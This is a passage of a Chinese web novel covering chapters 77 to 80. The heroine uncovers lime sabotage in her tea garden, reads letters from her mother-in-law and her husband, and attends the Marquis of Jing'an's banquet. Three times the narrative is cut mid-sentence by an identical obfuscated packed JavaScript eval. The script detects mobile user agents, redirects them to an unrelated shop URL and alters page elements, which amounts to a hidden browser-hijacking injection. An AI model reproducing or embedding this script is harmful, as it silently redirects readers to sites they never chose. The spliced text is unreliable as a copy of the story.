得知姐姐平安产子的消息时，她又是欢喜又是心疼，却没有像往常一样立刻跳起来就行动。而是独自思忖半日，才去找万山雪商量：“姐姐身子正虚，阖府上下定是忙乱。我若此刻赶去，怕是帮不上忙，反要累得姐姐分神照顾我。不如等小外甥满月，我父兄都到时，我再过去探望，也能安心多住些日子，好好陪陪姐姐。” 宣颐私下笑道：“这丫头，到底是个好苗子，略扶一把，长得这样直溜。” 万山雪亦觉满心欣慰。 转眼到了二月二，茶园里越冬的油菜已冒出青嫩的叶子，部分栽下的果苗也熬过了严寒，显出些许生机。那些受损不甚严重、已初步改良过的地块上，栽下了一排排嫩绿的茶树幼苗。 一日傍晚，晚霞将天际染成金红，那黑脸大汉——相处久了，才知他自称石三，忽然一言不发地走到万山雪身旁，引着她朝东边那处新辟的苗圃走去。此处土质最为优良，又临近溪流，取水方便，是万山雪规划中未来核心产茶区，栽种的茶苗皆是精挑细选的。 石三在苗圃边缘蹲下身，示意万山雪细看脚下。 万山雪俯身仔细察看，并未发现异样。石三这才出声提醒道：“泥土不对。” 77. 第 77 章 这个石三，当真是惜字如金。 万山雪不由得失笑，依言捻起一撮泥土凑到鼻尖轻嗅——一股刺鼻的气味钻进鼻腔。 “是石灰粉。”石三再度开口，语气笃定。 万山雪心头倏地一沉。 宣颐被火速请来。 她捻起少许泥土在指腹间细细摩挲，又迎着夕阳余晖反复察看，骤然变了脸色，冷笑道：“好精细功夫！不仅能确定是石灰粉，还是过了细筛的熟粉。这东西掺在根部土壤里，会慢慢烧灼根系，起初地上部分毫无异状，极难察觉。等叶子发黄萎蔫时，根早已烂了大半，便是大罗神仙来了，也回天乏术。” 她抬起眼看向万山雪，愤然说道：“这是存心要毁掉你这片最好的茶苗，手段未免太过阴毒。” 一股寒意顺着脊背节节爬上，万山雪咬着下唇，将翻腾的怒意死死压了下去，她当即决断：“连夜换土！把这一片苗子全部起出，能救一株是一株。” 她立刻唤来所有信得过的帮手。众人听闻事态严重，皆无半句怨言，丢下饭碗，迅速点起灯笼火把，借着昏黄跳动的火光，在渐浓的夜色中沉默而疾速地抢救茶苗。 他们小心挖开泥土，将柔嫩的茶苗轻轻起出，又用清泉冲洗根须上沾染的土。新鲜无害的土壤一筐筐从后山运来，重新填入坑中。整个过程中，除了必要的低语指令，只听见锄镐与泥土的沙沙声响，还有众人沉沉的呼吸，气氛沉重而紧迫。 崔福闻讯赶来时，见到的正是这番挑灯夜战的景象。 他讶然问道：“二奶奶，这是出了什么事？怎的大半夜兴师动众在此忙碌？” “福叔来了。” 万山雪直起身，腰背已经发酸，她用沾着泥的手背轻拭额角，平静说道，“没什么大事。这三排茶苗不太精神，怕是染了病根。想着干脆连夜处置干净，免得传染开来反倒麻烦。夜里凉，福叔和婶子年纪大了，熬不得夜，还是早些回去歇着吧，这儿有我们这些年轻人盯着就够了。” “二奶奶这般体恤，叫我们如何当得起。” 崔福忙放下马灯，挽袖上前帮忙，“多个人也多份力气……” 他刚迈步，便被正在搬运土筐的辛骐和另一名健壮劳力状似无意挡了一下，身后又有两个伙计顺势跟上，几人动作衔接紧密，恰将那一片需换土的区域团团围住。 万山雪暗暗留神，见崔福一时插不进手，只得干站在灯笼光影的边缘，眼神在忙碌的众人身上暗暗逡巡，长久地落在了石三身上。 众人直忙到后半夜，料峭夜风愈紧，吹得灯火几次熄灭，星星渐稀，隐入薄云之后，才将茶苗重新栽种妥当，浇上了定根水。 人人都累得腰背僵直，额发被汗水与夜露浸湿，贴在皮肤上。 万山雪将烧煮滚烫的浓姜汤，一碗碗亲手端到每个人手中：“今儿大伙辛苦了，明日都好生歇一日，不必出工。” 走到立在门外的石三面前，她低声说：“多亏你警觉，若不然这一片茶苗可就全毁了。这份大恩，我记下了。” 石三接过粗瓷碗，仰头一饮而尽，将空碗递回。他低低说道：“后山有一串脚印直通苗圃，右脚鞋跟外侧，磨得比左边厉害许多。” 万山雪心中豁然一亮，如暗夜中划过一道电光。她面上未露分毫，只温声道：“辛苦了，快去歇着吧。” 她没有立刻声张，只暗中吩咐橘霜留心观察所有接近茶园核心区域之人的鞋履磨损情形。 而对石三，她心中那份原本基于直觉的信任，此刻已化为全然的信赖。这个沉默寡言、形如铁塔的汉子，不仅忠实可靠，其观察之敏锐、判断之果决、行事之利落，绝非寻常庄稼把式所能有，却又不是黎偃松的人。 宣颐看着石三的背影叹道：“可惜了，这样得力的帮手，多少年也难遇一个，却不肯签长契。” 万山雪摇摇头：“他必有不能言说的缘故。我们以真心相待便是，将来之事，顺其自然吧。” 她站在楼上，透过如墨的夜色，眺望那片刚经历抢救的苗圃。远处山峦轮廓模糊，犹如蛰伏的巨兽。她眼眸深处，一点点沁出冰凌般的锐光。 毒手已经伸出，来者不善。 今日是石灰粉，明日又会是什么？ 平静之下，不知藏着多少双不怀好意的眼睛，多少只想将她拖入泥沼的手。 但想让她万山雪就这么低头认输，让这片好不容易焕发生机的土地再度沦为荒芜—— 绝无可能。 晨光中的茶园，薄雾尚未散尽，萦绕在枝头，凝成细小的露珠。泥土与新叶的气息清冽扑鼻。 万山雪正与宣颐俯身查看那几株顽强吐露新芽的古茶苗，崔福家的捧着几个匣子，满脸堆笑快步走近：“二奶奶，您瞧这不是双喜临门？太太那边回了信，还附了二爷从东洋给您寄的家书和礼物呢。” “有劳婶子，先放厅堂吧。”万山雪专注看着茶苗，头也未抬。 余光瞥见她仍站着，便问道：“婶子还有事？” 李嬷干笑两声，应声去了。 万山雪转身继续与宣颐商讨引水竹笕的改进细节，直至午后歇晌时分，二人对完账目，她才拿起婆母的信。见封口火漆严密，不曾被人动过手脚，才放心拆开细读。 前半篇尤氏还赞她“详陈难处，颇识大体”，接着笔锋一转，诉说京中不易，族产繁多，开支浩大，再负担三年无产出的投入实为艰难，不如及时止损，将受损严重的茶园转卖他人。 信末语气温和却斩钉截铁，没有商量余地：“此事已定，你便依此办理，与崔福交割清楚即可速回京，勿要久留。” 万山雪捏着信纸，指尖冰凉。 她想过尤氏会放弃，却不曾想到，她会舍弃得如此干脆。 尤氏曾对她说过，崔明之的外祖母一生懦弱，唯独硬气了一回，便是为女儿据理力争要来这片茶山作嫁妆。只想她婚后不如意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065099|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，能有个退路依傍。拳拳爱女之心，竟这样被轻易丢开手么？ 拯救这片茶园耗费巨大，可于崔家而言并非难以承受。何况后续是有收益的，并非无底洞。 她心乱如麻，只觉得好不容易理出眉目的前路又混沌一片。强迫自己深吸一口气，冷静下来，暂且将婆母的信搁到一边，目光落向那几个东洋漆木匣和书信上。 这封信倒是意外的长。 开篇讲了些海路风物、东洋见闻，字里行间，皆是她从前求而不得的柔情： 「……昨夜宿于长崎港，忽梦归家，见院中那株白茶花怒放如雪，你立于花下，回头望我，眼神清澈如昔。惊醒时，海月满窗，涛声如诉，怅然若失，竟至彻夜难眠。」 「东洋之地湿冷浸骨，每每腿疼难忍，便想起你从前默默置于案头的膏药。彼时嫌其气味辛烈，未曾细问你如何费力寻来，如今孤身在外，思之念之，愧悔如潮。山雪吾妻，以往是我愚钝倨傲，伤你良多。」 三年来形同陌路的夫君，在千里之外的异国，用笔墨勾勒出迟来的痛楚与歉意，读起来恍如隔世之感。 后面是大段琐碎得近乎笨拙的叮嘱，事无巨细： 「闻江南今岁多雨，你素来畏寒，切记添衣，勿贪凉饮冷。打理茶园虽是心之所向，亦勿过劳神伤身。家中旧仆若有怠慢，或遇难为之事，你皆可自行决断，不必顾念他人之议，一切后果由我担着。若银钱不敷，可凭我印鉴去通源票号支取，我已留有安排。万事务必以自身安危为要。」 他甚至细致罗列了在东洋所见的新奇之物：琉璃灯、几样异国糕点、一些珍奇花种…… 不厌其烦，一一说与她听。 信的末尾，他写道： 「海天辽阔，孤帆远影，方知灯火之温。从前种种，皆是我过。如今别无所求，唯愿你一切安好，待此间事了，我便归家，余生伴你左右。纸短情长，望妻珍重。」 她扬了扬信，冲宣颐扯了扯嘴角：“这人真中邪了。成亲三四年，我俩说过的话，加起来未必有这封信长。” 她打开第一个匣子。黑丝绒上，一对银鎏金累丝簪静静躺着。累丝细如毫发，盘绕出兰草流云，光泽温润细腻，像一只精致而冰冷的笼子。 底下的匣子里盛放着几样新奇玩意儿，琉璃珠，八音盒之类的，她看了一眼，便尽数拿给宣棋玩耍。 而后将信收进妆匣底层，似一块石子落入深涧，漾开几圈涟漪，随即复归平静。 没有悸动，没有酸楚，只有带着淡淡荒谬的恍惚。迟来的关切与忏悔，像隔年的雨水，早已错过了时节，润不到当下的根苗。 “姐姐，”她开口，声音有些干涩，将婆母的信推到宣颐面前，“你也看看。” 而后起身推开窗，茶山的气息汹涌而入——春日阳光烘暖的泥土味，茶叶嫩芽的清香，真切而踏实，瞬间冲散了房中那点来自海外的、沉滞的墨香，也吹散了心头的迷茫。 78. 第 78 章 “你怎么想？”宣颐将信纸轻搁案几，抬眼望向万山雪。 她缓缓摇头，语气平静却带着不容置喙的坚决：“姐姐，自踏出崔家那一步起，我便再没想过回去。茶园这副担子，婆母当初既点头让我接了，如今放不放手，可就由不得她了。” “你若真想做一番事业，门路是不缺的。别的地方不敢说，秀州、晋陵两地，我总归能帮上你。这茶园说到底是你婆母的嫁妆，她若执意要舍弃，你也不必硬扛，到头来落得里外不讨好，何苦来哉？”宣棋有些不解。 “不瞒姐姐，这些日子你大抵也瞧得出来，我心里总憋着股劲儿。一来是真想学门安身立命的本事，二来……” 她摇头苦笑，“依照大鄢律令，女子若主动提出和离，须受五十杖刑，还得退还半数聘礼。漫说那五十杖刑我未必熬得住，手头银两也远不够抵聘礼——何况那些钱是先母临终前留我的最后念想，我半分也不忍动。唯有借着重建茶园为崔家做些实事，将来才能换一纸和离书。所以无论婆母作何打算，我都得想法子从这茶园里闯出条生路来。” “这原是你的家事，我本不该多言。可你既对我坦诚相告，我也就直说了。”宣颐指尖轻点信纸，字字恳切，“你方才的话，正戳中我的疑惑。我虽不识你婆母，却懂做女儿的心思——娘家陪嫁是最后的靠山，若非走投无路，绝不舍得轻易动用，更别说转卖。即便真到了那一步，字里行间也该有羞惭无奈。可这封信太平静了，平静得透着一股子漠然。” 万山雪心头一紧，重拾起信纸细细翻看。 “交割清楚”“速速回京”八个字，初看只觉寻常，此刻细细品来，果然带着种事不关己的冷淡。 她一时捉摸不定——难不成这信被人调了包？还是背后牵扯到什么秘事，婆母尤氏身不由己，只得硬着心肠割舍？ 正沉吟间，门外忽有身影一晃，她忙将信紧收袖中，低声对宣颐道：“暂且搁下吧。左右带来的银钱还能周转，一切照旧进行。” 门外传来萧湘怯怯的轻唤，带着几分迟疑：“万姐姐，宣姐姐，我可否进来？” “进来吧。”万山雪对宣颐笑道，“你瞧这丫头，不客气便罢，正经起来竟十二分的见外。” 萧湘低头走过来，手指绞着绢帕，难色溢于言表：“靖安侯府要为姐姐的孩子办满月宴，定在这个月初八。可万姐姐知道，去年夏日那一场风波与靖安侯已经彻底闹僵……父亲怕兄长再涉险，只让管家备厚礼送去，吩咐至亲一概不许登门，还写信嘱咐我也不许去。” 她愈说声音愈低，泪珠已挂在了睫毛上：“听人说生孩子是打鬼门关走一遭，极其凶险。他们都不来，我若再不去，姐姐定然寒心透了，日后落在吴家人嘴里，也成了终生欺辱她的把柄。可若去了……” 她抬眼瞥了瞥宣颐，万山雪瞬间明白，她是想起了那日宣颐呲哒她的话。 她拍了拍萧湘的后背：“无妨，你只管安心准备给外甥的见面礼，其余的事我来安排。” 黎偃松先前安插人手时早有密信说明，她心里有数，正要起身去寻那人，忽地灵光一闪：萧崔两家往来甚密，此次赴宴，说不定能从萧府管家口中探得一二风声，借机辨明崔母手信的真假。 二月初八这日一早，万山雪便备好了贺礼，与萧湘各乘一车，一前一后往靖安侯府去。 辛骐为她赶车，黎偃松派来的亲信陕万年，则贴身护着萧湘的车驾。 行至半途，穿过一片寂静杉林时，陕万年气喘吁吁从后追来：“辛大哥，我那车轮轮辋被尖石扎破了，怕是要耽搁片刻。” 辛骐勒住马儿，立刻跳下去帮忙，万山雪连日操劳，身心俱疲，靠着车壁闭目养神。 不过片刻，车帘猛地掀起，风裹挟着林间的草木气息灌进来，她受惊睁眼，见一个茶农装扮的人闪身而入，刚要出声呼救，那人便掀开斗笠，沉声道：“莫怕，是我。” 竟是黎偃松。 他气息急促，额角凝着薄汗，显然是疾奔而来，眼底的焦灼几乎要溢出来，神色是她从未见过的急切：“下来，你不能去靖安侯府。” 万山雪怔了怔，不解道：“为何？” “其一，吴阻好色成性，府中往来多是登徒子，你一个女子置身其中，太过危险。其二，今日只怕是场鸿门宴。吴阻虽好酒色，脑子却不糊涂，吴险与金弘勾结，而崔家与金弘往来甚密，他不可能一无所知。你以崔家二奶奶的身份去他府上，无异于羊入虎口，太过扎眼。” 万山雪摇头说道：“将军过虑了。他纵使好色，好歹是一方侯主，总不好当着众宾客胡来，何况有萧湘与我同行。至于暗中牵扯，也只会牵连我婆母与夫君，我不过是个无足轻重的二奶奶，他们未必放在眼里。若想拿我挟制崔家，那可是打错了主意。” “怎会无足轻重！”黎偃松急声打断。 话出口才察觉失态，他不自然地瞥了眼窗外，又道：“时间紧迫，我回头再与你仔细分说，总之你快扯个幌子回去。今日我无法随行，侯府里人多眼杂，不敢安插太多人手。若有变故，我怕他们护不住你。” 他直直望着她，目光灼灼，那里面藏着的慌乱与担忧，绝不是对寻常朋友的关切——他在怕，怕她出事，怕她身陷险境。 人只有面对真正在乎的人，才会有这般患得患失的模样。 万山雪的心跳，忽地漏了一拍。 她望着他紧抿的唇，微颤的睫毛，还有那双好看的眼睛里满当当的担忧，只觉得这个人像是突然照进车内的一束阳光，驱散了连日来的阴霾与寒凉。纵然这份暖意她回应不了，也握不住，可单单看着，便觉得心头熨帖。 此前种种疑窦，此刻也尽数想通了。 她并非愚钝，只是身处泥沼，早已不敢奢望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079490|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情爱。和离之事尚未着落，茶园的担子还压在肩头，她连自己的未来都无法掌控，没有精力心思来斟酌这份沉甸甸的爱意。 “将军，”她温声说道，“你的好意，我心领了。可这事不能委托他人，我必须亲自去。人活在世，哪能不遇难事？将军身陷重重危机，尚且一步不肯退，到了我这里，就不能直起脊梁，去拼去闯么？还是说，将军信不过我，觉得我终究只是那笼中金丝雀，离了旁人庇护，便一天活不下去？” 黎偃松张口结舌，几次欲言又止，最后只红了眼睛喃喃说道：“你明知道，你明知道我不是那个意思……” 万山雪瞧着他眼中的光彩瞬间黯淡下去，沙场上所向披靡的黎将军，此刻像个被误解后百口莫辩的孩子，看着他，就如同看见了自己的来时路，她只觉心里一疼，安慰道：“我知道。信我一次，我会小心的，像你和心澜那般，步步留神保护好自己，定能平平安安回来。” 黎偃松知道，自己拦不住她了。 这个女子，看似温婉，骨子里的韧劲却比谁都强。 他的眼泪毫无征兆地涌在了眼眶里，慌忙垂下头去，试图压抑翻涌的泪意。 他从没想过，她在洞悉自己的心意之后，会是这般平静。 没有激烈拒绝，亦没有不安，只是如同接住一碗水，轻轻放在一旁。 酸涩与温暖交织的激流，在他胸腔里疯狂奔涌，冲得他鼻尖发酸，几乎要失控地伸手抱住她，告诉她：他不是不信她，只是太在乎了，容不得丝毫闪失。 林风穿枝过叶，带来萧湘车驾渐近的辘辘声，再多耽搁下去可就走不了了。 他缓缓松开她的手腕，颤声道：“你……万事小心。我设法多安排几人混进去，暗中守着你。我在侯府外等，一直等，直到你出来。” 万山雪本欲拒绝，可瞧着他泪眼里的执拗，又怕再拉扯下去让他露了行迹，便轻轻点头：“多谢将军。” 萧湘的车驾已近在咫尺，黎偃松深深看了她一眼，而后毅然转身，没入一旁的春林之中。 万山雪忍不住掀开帘子张望，人已不见，唯有那道灼热的目光，仿佛还凝在车帘上，迟迟未散。 她想起自相识以来的桩桩件件，想起他屡屡施以援手，想起他于困境中的提点，危险前的提醒…… 转而想起了那个梦。 他为了护她，受万箭穿心之苦。 那是奔向她的代价么？ 她忽然不敢再想下去，清了清嗓子找辛骐闲话，借以驱散心头繁乱思绪：“车子修好了？” “修好了，二奶奶放心吧，咱们出发。” 车帘外，辛骐扬鞭轻喝，车轮再度缓缓转动，稳稳驶向那座危机重重的靖安侯府。 太阳越升越高，林间的光影透过帘隙，落在她的手背上，明明灭灭。一如她此刻的心事，辗转流连，剪不断，理还乱。 79. 第 79 章 靖安侯府门楣显赫，又逢添丁大喜，引得晋陵城内大半官宦富商争相赴宴。府邸前张灯结彩，朱漆大门外车马络绎，锦绣盈阶，喧嚣声不绝于耳。 府内丝竹宛转，人影幢幢，一派烈火烹油、鲜花着锦的喧腾景象。 厅堂中觥筹交错，笑语喧哗，婢女们手捧佳肴美酒穿梭其间，处处彰显着侯府的煊赫与喜气。 万山雪与萧湘递上贺礼，缓步踏入这繁华之地。 萧湘作为娘家人，无论私下有多少恩怨，今日赴宴都是重头戏，一进府便被内院女眷簇拥着叙话去了。万山雪含笑点头，示意她不必担心，自己则从容周旋于各府女眷之间。 她今日着意打扮得寻常些——外罩一件倩碧色绣折枝寒梅的薄缎褙子，发间只簪一支羊脂玉簪，点缀两朵小巧珍珠鬓花，既不太素净也不太华丽，生怕引起那位靖安侯的注意。可到了花厅一看，心中不由得暗笑自己多此一举。 江南自古出美人，此刻花厅内云鬓香影，一张张不同年龄女子的容颜，或明媚或婉约，或端庄或娇俏，各有各的风韵，简直像误闯了美人图。 有一瞬间，她几乎忘了赴宴的目的，只顾着欣赏眼前这姹紫嫣红的光景，心底暗暗纳罕，吴阻是出了名的好色之徒，传闻连长相周正的母蚊子都飞不出靖安侯府，怎会有这样多的佳丽前来赴宴？ 这时听到身后有人轻声问道：“这位可是崔府二奶奶？” 万山雪闻声转头，见一位身着赭色暗纹绸衫、态度恭谨的中年男子立在几步外，拱手作礼。 “正是。请问阁下是？”万山雪心中已大概猜到，盈盈还了半礼。 “小的是萧府管家，姓许。” 许管家笑容恳切，又深施一礼，“早该登门拜谢二奶奶，只因路上耽搁，直到昨儿深夜才到晋陵。今儿又紧着来侯府送贺礼，还没来得及去府上当面致谢，实在失礼，还请二奶奶海涵。” “许管家言重了。”万山雪眸光轻转，语气温和，“举手之劳，何必挂在心上。” 两人默契地走开几步，避开人群。 许管家压低声音，满是感激：“老爷夫人得知湘小姐独自南下，急得坐立不安。后来收到家书，知是二奶奶收留照拂，这才安下心来。再三叮嘱小的，一定要替他们好好谢过二奶奶——若非您出手相帮，湘小姐一个女儿家在外，真不知要让二老担心成什么样子。” 万山雪浅笑道：“咱们两家人交好多年，我与湘妹妹又很是投缘，互相照应本是分内之事。萧家家风好，妹妹乖巧懂事，这一程子给我帮了许多忙。伯父伯母近来可还安好？” “托二奶奶福，老爷夫人身子强健，只是……”许管家话锋一顿，飞快扫过她的神色，才续道，“颇为挂念贵府茶园失火一事。得知二奶奶独自南下主持大局，更是忧心不已，再三嘱咐我来了一定要去看看。” 万山雪轻轻摇头叹息：“天灾人祸，焦急也无用。好在众人都齐心，一步一步来吧。我只忧心婆母的身子，离京时她老人家已经熬倒了。山高路远，我虽在信中极力安慰，只怕也是远水解不了近渴。” “这个二奶奶不必担心。” 许管家忙道，“我们太太时常过去解劝宽慰的。崔家舅老爷那边也得了信，与令表兄已经动身去京中探望了。”他赞道，“崔家素日积德积福，有难处时无论远亲近邻，都是牵心动肠的。” 舅父？表兄？ 万山雪心中顿生疑窦。 她与崔明之向来是“相敬如冰”，眼珠儿尚且如此，更遑论眼眶子。故而对他那边的亲戚朋友，皆是维持表面礼数，从不多往来。 此次南下接手茶园，诸事繁杂，婆母不曾交代要去尤家拜访，夫君又不在身边，再者听闻尤家舅父的表哥尤弈夫妻感情不和——尤弈吃喝嫖赌样样俱全，妻子出身于教书先生之家，深厌其作为，两人常常争吵不休。后来尤家舅父做主，年年给足银两礼物，许嫂嫂带孩子回娘家长住。她这会儿冒冒失失上门多有不便。几重缘故交加，故而未曾去拜访。 这会子想来，若舅父家真的关心婆母，又知晓她在晋陵主持茶园，为何至今无人登门？哪怕只是遣人问一声，也是亲戚间的礼数。 茶园遭灾，正是最需助力的时候，他们不仅不现身，反倒匆匆赶往京中——这倒不像是素来注重礼仪亲情的尤老爷子之风。 她轻轻叹道：“屋漏偏逢连夜雨。明之远赴东洋，我又身在晋陵，照顾不了婆母。若非诸位亲邻相帮，真不知这场劫难要如何熬过去。” 她说着，话锋轻轻一转，“茶园重建虽然煎熬，却也逐步在好转。劳烦管家回京后，替我向萧伯父伯母还有婆母带句话，让他们不必挂怀，保重身体要紧。” 许管家连连点头：“二奶奶放心，小的一定带到。您独力支撑茶园，辛苦非常，老爷夫人也常夸赞二爷得了二奶奶为妻，那是天大的福气。” 两人又客套了几句晋陵风物，许管家便约定了两日后去茶园拜访，随即转身准备去应酬其他宾客。 万山雪立在原地，反复咀嚼方才的对话，怎么想都觉得其中透着古怪，且话里话外，皆是说尤氏忧心忡忡，全然没有心里要她割舍茶园的释然。 她正暗自思忖，一道带着淡淡酒气的嗓音自身侧传来：“许管家这是在陪哪位贵客？竟未曾见过。” 万山雪转身，见一位三十上下的男子踱步而来。他身着绛紫色织金云纹常服，腰束玉带，面皮白净，眉眼细长，鼻梁高挺，正是今日宴席的主人——靖安侯吴阻。 万山雪暗自可惜：声名狼藉之人，倒生了这样一副好皮囊。 许管家忙躬身行礼：“小的见过侯爷。这位是崔府二少奶奶。” “崔府？”靖安侯眉峰微挑，目光落在万山雪身上，“可是崔家茶园的二奶奶？晋陵可都传开了，说是崔家茶园失火，崔家年轻的二奶奶稳住了局面。” “妾身崔万氏，见过侯爷。”万山雪垂下眼帘，屈膝行礼。 “免礼。”靖安侯闲闲抬手，向前半步。酒气与熏香的气息倏然逼近，“早闻崔二奶奶秀外慧中，今日一见，果然名不虚传。你与本侯岳家，也是旧识？” 这话问的是万山雪，眼角余光却扫向许管家。 许管家正要解释，他又长长地“哦”了一声：“是我糊涂，皆为皇商之家，岂能不相识？茶园之事繁杂，崔二奶奶一个弱女子独力支撑，想必辛苦。若有难处，不妨说来，本侯必然不会坐视不理。” 万山雪心头警铃微动，面上依旧淡然：“多谢侯爷关怀。茶园之事，皆是婆母与家中管家操心，我不过耽个虚名游山玩水罢了，不敢劳烦侯爷挂心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083442|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 吴阻的目光在她身上逡巡一圈，最后落在她脸上，笑意深了几分：“崔二奶奶过谦了。连茶王宣老先生都愿出手相助，一手带大的亲孙女也送去给你帮忙了。这份面子，可不是谁都有的。” 万山雪心中一凛，看来盯着崔家茶园的人可不少。她垂眸答道：“侯爷消息灵通。宣老先生是念在与舍舅父旧日情分，略加点拨而已。” “略加点拨？”吴阻轻笑一声，“宣老先生是何等人物？他既肯‘点拨’，那茶园重振便是指日可待了。说起来，本侯对茶道也颇有兴趣，奈何没有崔二奶奶这样大的面子，几次三番请不动宣老爷子。舍下亦藏了些陈年普洱，还想请老先生品鉴一二。不知能否麻烦二奶奶代为引荐？” 这话说得客气，却暗藏机锋。万山雪客气答道：“宣老先生年事已高，多年不见外客。妾身仗着舅父说情，拜见数次才得匆匆一面，实在不敢再贸然打扰老先生清静。” 吴阻眼中闪过一丝不悦，冷笑道：“二奶奶既不肯给脸，也只好罢了。不过崔家茶园在晋陵地界，本侯关心本地子民也是分内之事。二奶奶若有何难处，尽管开口，不必外道。” 看似关心，实则步步紧逼。万山雪咽下心头厌恶，淡然道：“多谢侯爷挂怀。侯爷乃国之柱石，日理万机，不敢以私人琐碎烦扰。” 她打定主意油盐不进，无论他说什么。又寒暄片刻，吴阻才离去了。 万山雪暗暗松了一大口气，不料这一关过得这般容易。 还没来得及转身，忽听一声女子惊叫。只见方才走开的吴阻一个趔趄，整个人猛地朝万山雪的方向倾来！ “侯爷小心！”万山雪疾步后退。 吴阻伸手似乎想抓住什么稳住身形，手臂一挥，恰好撞到一名正端着托盘经过的丫鬟。 那托盘上放着一盅热汤，被这一撞，汤盅剧烈摇晃，汤汁溅出——虽大半洒在地上，却仍有几滴滚烫的溅到了万山雪的罗裙下摆上，留下几点深色污渍。手背上也沾了一大片，烫得通红。 丫鬟吓得魂飞魄散，慌忙跪下：“奴婢该死！侯爷恕罪！贵客恕罪！” 吴阻站稳身子，皱眉看向那瑟瑟发抖的丫鬟，斥道：“毛手毛脚，还不快滚下去领罚！” “不怪她，是妾身站的不是地方。”万山雪淡淡开口，心中却明镜似的。吴阻那一跤摔得像是精密计算过，时机角度都太巧了。 吴阻挥挥手让丫鬟退下，目光又回到万山雪身上，满脸歉意：“实在抱歉得很。来人——” 两个年长些的丫鬟应声上前。 “带崔二奶奶去后厢房，各色衣裳拿去，任由二奶奶挑选。是了，快去请大夫看看手上烫伤。”吴阻吩咐道。 万山雪脸上依旧维持着得体浅笑：“侯爷美意，妾身心领。汤汁已温，实在不必兴师动众。知道的说是靖安侯府待客厚道，不知道的倒要骂我张狂。” 吴阻眯起眼，那笑意未达眼底：“我怎么听着，崔二奶奶好像信不过我这儿。难不成我这靖安侯府，在崔二奶奶眼里，是会吃人的魔窟不成？” 这话问得轻，分量却重。四周已有宾客投来探究的目光。 万山雪没有料到吴阻说话如此直接，正欲设法周旋，一道清朗的女声却从人群外传来： “何事如此热闹？” 80. 第 80 章 众人循声望去，只见数名丫鬟仆妇簇拥着一位丽人款步而来。她身着海棠红遍地金通袖长衣，月白百褶锦缎裙曳地无声，头戴点翠衔珠大凤钗流光溢彩，面容与萧湘有五六分相似，正是靖安侯夫人萧泠。 萧湘的美是春水初生，活泼潋滟，带着未经世事的明媚鲜活，萧泠则让万山雪骤然想起“冰美人”三字。 她的美带着疏离清寒，眉似远山含黛，眼若寒星凝霜，唇色淡如早春将绽未绽的梅瓣。最特别的是那双眼睛，如盛着一潭深秋静水。 万山雪顺势行礼：“妾身崔万氏，见过侯夫人。恭贺夫人弄璋之喜。” “快快免礼，还未来得及感谢妹妹一路照顾舍妹之恩，妹妹倒先客气上了。”萧泠亲手扶起，执手查看烫伤，蹙眉道，“这烫得不轻，可别留了伤疤。先随我去敷药，至于衣裳，咱俩个头差不多，尺寸应当合适，委屈妹妹将就替换下。” 又向靖安侯笑道：“侯爷，这儿交给我了，前头几位大人正寻您喝酒呢。” 吴阻笑了笑：“如此正好，请夫人代我向崔二奶奶赔罪吧。”这才踱步离去。 一场风波悄然化解。 万山雪暗松一口气，对萧泠投去感激一瞥：“多谢夫人。” 萧泠微微颔首，又从容与周遭几位女眷寒暄数句，言辞妥帖，尽显侯府主母风范。随后便携了万山雪的手，引着她往内院走去。 “今日之事，让妹妹受惊了。”离了喧闹人群，穿过一道月洞门，萧泠压低声音道，“侯爷有时酒后失于检点，妹妹莫要往心里去。” “夫人言重了，原是妾身自己不慎。”万山雪诚恳回道。 一路穿廊过院，越走越深。偶有仆妇丫鬟低头行礼，悄无声息地退至道旁，气氛安静得近乎肃穆。万山雪跟在萧泠身侧，莫名来了一阵寒意，脚步也踟蹰起来。 萧泠轻声道：“妹妹莫怕。湘儿什么都与我说了，虽是初相见，亦没什么好瞒你的。从去年夏日，侯爷将我拦回之后，便将我安置在侯府最深处。” 她语气平淡无波，仿佛在陈述一件与己无关的旧事。 万山雪心头蓦地一酸，张了张口，终究不知该如何回应，唯有沉默相对。 行至僻静回廊，萧泠推开一扇雕花木门。这是一间布置雅致的屋子，临窗设着花梨木书案，案上放着书册和青瓷文房。墙上挂着一幅寒梅图，题着：“不知蕴藉几多时，但见包藏无限意。” “这是我读书习字的地方，清净些。”萧泠说着，示意万山雪在窗下落座。 不多时，萧湘领着一名捧着药箱和衣物的小丫鬟进来，手脚利落地帮万山雪清理烫伤、涂抹药膏，又换上一身簇新的柳黄衣裙。 萧泠在旁静静看着，待一切妥当，才对萧湘温言道：“湘儿，去看看你外甥醒了没有，我与你万姐姐还有些话要说。” 萧湘乖巧应了，带着丫鬟退下，轻轻带上了门。 